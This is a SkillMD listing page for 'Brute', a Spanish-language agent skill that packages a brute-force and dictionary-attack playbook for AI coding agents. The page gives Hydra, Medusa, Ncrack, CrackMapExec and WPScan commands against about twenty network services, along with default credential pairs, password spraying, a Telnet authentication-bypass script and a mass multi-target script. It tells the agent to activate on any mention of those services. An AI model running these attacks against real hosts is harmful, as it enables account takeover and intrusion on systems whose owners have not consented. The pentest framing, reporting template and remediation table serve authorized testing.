How do I install the Brute skill?

Run npx skillmds@latest add hackingyseguridad/brute in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

What does the Brute skill do?

SKILL: brute-pentest — Ataques de Diccionario y Fuerza Bruta sobre Servicios de Red It is listed under Coding & Dev Tools on SkillMD.

Is Brute safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Brute?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Brute free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

hackingyseguridad (@hackingyseguridad) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Brute by hackingyseguridad — Agent Skill

Name: Brute
Author: hackingyseguridad

SKILL: brute-pentest — Ataques de Diccionario y Fuerza Bruta sobre Servicios de Red

Descripción

Esta skill cubre la ejecución de pruebas de concepto (POC) de ataques de diccionario y explotación de vulnerabilidades de autenticación por fuerza bruta sobre servicios de red activos, dado un objetivo (IP o FQDN). Integra el repositorio de subrutinas hackingyseguridad/brute con herramientas nativas de Kali Linux (Hydra, Medusa, Ncrack, Nmap, CrackMapExec, etc.) y diccionarios de hackingyseguridad/diccionarios.

Uso exclusivo en entornos autorizados. Requiere permiso escrito del propietario del sistema objetivo.

Activación (triggers)

Activar esta skill SIEMPRE que el usuario mencione cualquiera de los siguientes términos o contextos:

Fuerza bruta, brute force, ataque de diccionario, password spray, credential stuffing
Autenticación débil, credenciales por defecto, login débil
Servicios objetivo: SSH, FTP, HTTP/HTTPS, RDP, SMB, Telnet, MySQL, MSSQL, PostgreSQL, SMTP, POP3, IMAP, VNC, SIP, IKE, RPC, RSH, WordPress
Scripts del repo: brutessh.sh, bruteftp.sh, brutehttp.sh, bruterdp.sh, brutesmb.sh, brutetelnet.sh, brutemysql.sh, etc.
Frases: "comprueba credenciales en", "testea autenticación en", "intenta acceso a", "¿acepta credenciales por defecto?", "wordlist contra", "hydra contra", "medusa contra"
El usuario proporciona una IP/FQDN + nombre de servicio + solicita prueba de autenticación

Prerequisitos del entorno

Instalación del repositorio

# Clonar repositorio de scripts
git clone https://github.com/hackingyseguridad/brute.git /opt/brute
cd /opt/brute && chmod +x *.sh && bash instalar.sh

# Clonar diccionarios
git clone https://github.com/hackingyseguridad/diccionarios.git /opt/diccionarios

Herramientas requeridas (Kali Linux — preinstaladas)

Herramienta	Uso principal
`hydra`	Motor principal multi-protocolo
`medusa`	Alternativa paralela a Hydra
`ncrack`	Fuerza bruta rápida (RDP, SSH)
`nmap`	Verificación de servicio activo
`crackmapexec` / `netexec`	SMB, MSSQL, WinRM
`wpscan`	WordPress
`curl`	HTTP Basic Auth / formularios
`sshpass`	SSH en scripts
`ftp` / `lftp`	FTP nativo

Flujo de trabajo estándar

1. Verificar servicio activo  →  nmap -sV -p PUERTO IP
2. Seleccionar herramienta    →  según protocolo (tabla abajo)
3. Elegir diccionario         →  usuarios + contraseñas
4. Ejecutar POC               →  comando de ataque
5. Capturar evidencia         →  stdout + log
6. Documentar hallazgo        →  credencial válida / servicio protegido

Tabla de servicios y comandos POC

SSH (puerto 22)

Verificación previa:

nmap -sV -p 22 <IP>

Hydra (recomendado):

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  ssh://<IP> -t 4 -V -o /tmp/resultado_ssh.txt

Script repo:

bash /opt/brute/brutessh.sh <IP>
bash /opt/brute/brutessh2.sh <IP>   # variante con timeout
bash /opt/brute/brutesshauto.sh <IP> # automatizado con detección

Medusa (alternativa):

medusa -h <IP> -U /opt/diccionarios/usuarios.txt \
  -P /opt/diccionarios/passwords.txt -M ssh -t 4

Credenciales por defecto a probar: root:root, root:toor, admin:admin, pi:raspberry

FTP (puerto 21)

Verificación previa:

nmap -sV -p 21 <IP>
# Probar acceso anónimo
ftp <IP>  # login: anonymous  pass: anonymous

Hydra:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  ftp://<IP> -t 8 -V -o /tmp/resultado_ftp.txt

Scripts repo:

bash /opt/brute/bruteftp.sh <IP>
bash /opt/brute/bruteftp2.sh <IP>
bash /opt/brute/bruteftp3.sh <IP>

Detectar FTP anónimo:

nmap -sV --script ftp-anon -p 21 <IP>

HTTP / HTTPS — Login Form (puerto 80/443/8080)

Verificación previa:

nmap -sV -p 80,443,8080 <IP>
curl -I http://<IP>/admin/

Hydra — formulario POST:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  <IP> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" \
  -V -o /tmp/resultado_http.txt

Hydra — HTTP Basic Auth:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  http-get://<IP>/admin/ -V

Scripts repo:

bash /opt/brute/brutehttp.sh <IP>
bash /opt/brute/brutehttp1.sh <IP>   # Basic Auth
bash /opt/brute/brutehttp2.sh <IP>   # POST form
bash /opt/brute/brutehttp3.sh <IP>   # digest auth
bash /opt/brute/authbasic.sh <IP>    # curl Basic Auth

Base64 decode de cabeceras:

bash /opt/brute/base64.sh            # decodificador de credenciales base64

RDP — Remote Desktop (puerto 3389)

Verificación previa:

nmap -sV -p 3389 <IP>

Hydra:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  rdp://<IP> -t 1 -V -o /tmp/resultado_rdp.txt

Ncrack (más estable para RDP):

ncrack -vv --user Administrator -P /opt/diccionarios/passwords.txt \
  rdp://<IP>

Scripts repo:

bash /opt/brute/bruterdp.sh <IP>
bash /opt/brute/bruterdp2.sh <IP>

SMB / Samba (puerto 445)

Verificación previa:

nmap -sV -p 445 <IP>
nmap --script smb-enum-users -p 445 <IP>

CrackMapExec / NetExec:

crackmapexec smb <IP> -u /opt/diccionarios/usuarios.txt \
  -p /opt/diccionarios/passwords.txt --continue-on-success
# o con netexec (versión moderna):
netexec smb <IP> -u /opt/diccionarios/usuarios.txt \
  -p /opt/diccionarios/passwords.txt

Hydra:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  smb://<IP> -V

Scripts repo:

bash /opt/brute/brutesmb.sh <IP>
bash /opt/brute/brutesmb2.sh <IP>

Telnet (puerto 23)

Verificación previa:

nmap -sV -p 23 <IP>

Hydra:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  telnet://<IP> -t 4 -V -o /tmp/resultado_telnet.txt

Bypass / scripts:

bash /opt/brute/brutetelnet.sh <IP>
bash /opt/brute/brutetelnet2.sh <IP>
python3 /opt/brute/telnetbypass.py <IP>    # bypass de autenticación
bash /opt/brute/telnetbypass2.sh <IP>

MySQL (puerto 3306)

Verificación previa:

nmap -sV -p 3306 <IP>

Hydra:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  mysql://<IP> -t 4 -V -o /tmp/resultado_mysql.txt

Scripts repo:

bash /opt/brute/brutemysql.sh <IP>
bash /opt/brute/brutemysql2.sh <IP>

Credenciales por defecto: root: (sin contraseña), root:root, root:mysql

MSSQL — Microsoft SQL Server (puerto 1433)

Hydra:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  mssql://<IP> -t 4 -V

CrackMapExec:

crackmapexec mssql <IP> -u sa -p /opt/diccionarios/passwords.txt

Script repo:

bash /opt/brute/brutems-sql.sh <IP>

PostgreSQL (puerto 5432)

Hydra:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  postgres://<IP> -t 4 -V

Script repo:

bash /opt/brute/brutepostgresql.sh <IP>

Credenciales por defecto: postgres:postgres, postgres: (sin contraseña)

SMTP (puerto 25 / 587)

Verificación previa:

nmap -sV -p 25,587 <IP>
nmap --script smtp-enum-users -p 25 <IP>

Hydra:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  smtp://<IP> -t 4 -V -S -o /tmp/resultado_smtp.txt

Scripts repo:

bash /opt/brute/brutesmtp.sh <IP>
bash /opt/brute/brutesmtp2.sh <IP>

POP3 (puerto 110 / 995)

Hydra:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  pop3://<IP> -t 4 -V -o /tmp/resultado_pop3.txt

Scripts repo:

bash /opt/brute/brutepop3.sh <IP>
bash /opt/brute/brutepop3b.sh <IP>

IMAP (puerto 143 / 993)

Hydra:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  imap://<IP> -t 4 -V

Script repo:

bash /opt/brute/bruteimap.sh <IP>

VNC (puerto 5900)

Verificación previa:

nmap -sV -p 5900 <IP>

Hydra:

hydra -P /opt/diccionarios/passwords.txt vnc://<IP> -t 4 -V

Script repo:

bash /opt/brute/brutevnc.sh <IP>

SIP / VoIP (puerto 5060)

Hydra:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  sip://<IP> -t 4 -V

Script repo:

bash /opt/brute/brutesip.sh <IP>

IKE / VPN (puerto 500 UDP)

Script repo:

bash /opt/brute/bruteike.sh <IP>

RPC / RPCBind (puerto 111 / 135)

Script repo:

bash /opt/brute/bruterpc.sh <IP>

RSH — Remote Shell (puerto 514)

Script repo:

bash /opt/brute/brutersh.sh <IP>

WordPress (HTTP/HTTPS)

WPScan (recomendado):

wpscan --url http://<IP>/ -U /opt/diccionarios/usuarios.txt \
  -P /opt/diccionarios/passwords.txt --max-threads 5

Script repo:

bash /opt/brute/brutewordpress.sh <IP>

Hydra — endpoint wp-login.php:

hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
  <IP> http-post-form \
  "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=incorrect" -V

Gestión de diccionarios

Diccionarios incluidos en el repo hackingyseguridad

ls /opt/diccionarios/
# Incluye: usuarios.txt, passwords.txt, rockyou_top10000.txt, etc.

Scripts auxiliares del repo brute

bash /opt/brute/claves.sh            # genera lista de claves comunes
bash /opt/brute/generaclaves.sh      # genera diccionario personalizado
bash /opt/brute/actualizar.sh        # actualiza scripts del repo

Diccionarios externos recomendados

# SecLists (preinstalado en Kali)
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
/usr/share/seclists/Usernames/top-usernames-shortlist.txt

# RockYou (preinstalado en Kali)
/usr/share/wordlists/rockyou.txt.gz
gunzip /usr/share/wordlists/rockyou.txt.gz

Reconocimiento previo al ataque (fase recomendada)

# Escaneo de todos los servicios de autenticación comunes
nmap -sV -p 21,22,23,25,80,110,143,443,445,1433,3306,3389,5432,5900,5060 \
  --open -T4 <IP> -oN /tmp/servicios_activos.txt

# Detección de versiones vulnerables
nmap -sV --script banner -p 21,22,23,80,443 <IP>

# Credenciales por defecto — scripts NSE
nmap --script auth -p 21,22,23,80,3306 <IP>

Tipos de ataque cubiertos

Tipo	Descripción	Herramienta
Diccionario directo	Lista de usuarios + lista de passwords	Hydra, Medusa
Fuerza bruta inversa	Password fija + múltiples usuarios (password spray)	Hydra `-l` fijo
Credenciales por defecto	Pares conocidos (admin:admin, root:root)	Scripts .sh del repo
Enumeración de usuarios	Identificar usuarios válidos antes del ataque	Nmap NSE, smtp-user-enum
Bypass de autenticación	Telnet/HTTP sin credenciales válidas	telnetbypass.py
Masivo / distribuido	Múltiples IPs objetivo	brutesshmasivo.sh

Documentación de evidencias

Cada POC debe capturar:

# Guardar salida con timestamp
hydra ... -o /tmp/brute_$(date +%Y%m%d_%H%M%S)_<SERVICIO>_<IP>.txt

# Ejemplo de hallazgo positivo a documentar:
# [22][ssh] host: 192.168.1.10   login: admin   password: password123

# Screenshot / captura adicional
script -a /tmp/sesion_pentest_$(date +%Y%m%d).log

Campos de hallazgo para informe

Servicio afectado : SSH / FTP / RDP / ...
Puerto            : 22 / 21 / 3389 / ...
IP objetivo       : x.x.x.x
Usuario válido    : <user>
Contraseña        : <pass>
Herramienta usada : Hydra / Medusa / Script
Comando ejecutado : hydra -L ... 
Timestamp         : YYYY-MM-DD HH:MM:SS
CVSS v3.1 base    : 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — credencial expuesta
CWE               : CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Remediación recomendada (para informe)

Control	Implementación
Bloqueo por intentos fallidos	fail2ban, account lockout policy
MFA / 2FA	TOTP, hardware token
Contraseñas robustas	Mínimo 12 caracteres, complejidad alta
Cambio de credenciales por defecto	Obligatorio en instalación
Restricción de acceso por IP	Firewall / ACL a servicios críticos
Monitorización	SIEM, alertas en intentos múltiples fallidos
Deshabilitar servicios innecesarios	Telnet → SSH, FTP → SFTP

Referencias

Repositorio principal: https://github.com/hackingyseguridad/brute
Diccionarios: https://github.com/hackingyseguridad/diccionarios
Referencia: http://www.hackingyseguridad.com
OWASP Testing Guide — OTG-AUTHN-003 (Testing for Weak Lock Out Mechanism)
CWE-307: Improper Restriction of Excessive Authentication Attempts
CWE-521: Weak Password Requirements

Brute

File contents

SKILL: brute-pentest — Ataques de Diccionario y Fuerza Bruta sobre Servicios de Red

Descripción

Activación (triggers)

Prerequisitos del entorno

Instalación del repositorio

Herramientas requeridas (Kali Linux — preinstaladas)

Flujo de trabajo estándar

Tabla de servicios y comandos POC

SSH (puerto 22)

FTP (puerto 21)

HTTP / HTTPS — Login Form (puerto 80/443/8080)

RDP — Remote Desktop (puerto 3389)

SMB / Samba (puerto 445)

Telnet (puerto 23)

MySQL (puerto 3306)

MSSQL — Microsoft SQL Server (puerto 1433)

PostgreSQL (puerto 5432)

SMTP (puerto 25 / 587)

POP3 (puerto 110 / 995)

IMAP (puerto 143 / 993)

VNC (puerto 5900)

SIP / VoIP (puerto 5060)

IKE / VPN (puerto 500 UDP)

RPC / RPCBind (puerto 111 / 135)

RSH — Remote Shell (puerto 514)

WordPress (HTTP/HTTPS)

Gestión de diccionarios

Diccionarios incluidos en el repo hackingyseguridad

Scripts auxiliares del repo brute

Diccionarios externos recomendados

Reconocimiento previo al ataque (fase recomendada)

Tipos de ataque cubiertos

Documentación de evidencias

Campos de hallazgo para informe

Remediación recomendada (para informe)

Referencias

Frequently asked questions

Brute

File contents

SKILL: brute-pentest — Ataques de Diccionario y Fuerza Bruta sobre Servicios de Red

Descripción

Activación (triggers)

Prerequisitos del entorno

Instalación del repositorio

Herramientas requeridas (Kali Linux — preinstaladas)

Flujo de trabajo estándar

Tabla de servicios y comandos POC

SSH (puerto 22)

FTP (puerto 21)

HTTP / HTTPS — Login Form (puerto 80/443/8080)

RDP — Remote Desktop (puerto 3389)

SMB / Samba (puerto 445)

Telnet (puerto 23)

MySQL (puerto 3306)

MSSQL — Microsoft SQL Server (puerto 1433)

PostgreSQL (puerto 5432)

SMTP (puerto 25 / 587)

POP3 (puerto 110 / 995)

IMAP (puerto 143 / 993)

VNC (puerto 5900)

SIP / VoIP (puerto 5060)

IKE / VPN (puerto 500 UDP)

RPC / RPCBind (puerto 111 / 135)

RSH — Remote Shell (puerto 514)

WordPress (HTTP/HTTPS)

Gestión de diccionarios

Diccionarios incluidos en el repo hackingyseguridad

Scripts auxiliares del repo brute

Diccionarios externos recomendados

Reconocimiento previo al ataque (fase recomendada)

Tipos de ataque cubiertos

Documentación de evidencias

Campos de hallazgo para informe

Remediación recomendada (para informe)

Referencias

Related skills

Frequently asked questions

How do I install the Brute skill?

What does the Brute skill do?

Is Brute safe to use?

Which AI agents work with Brute?

Is Brute free to use?

Who published Brute?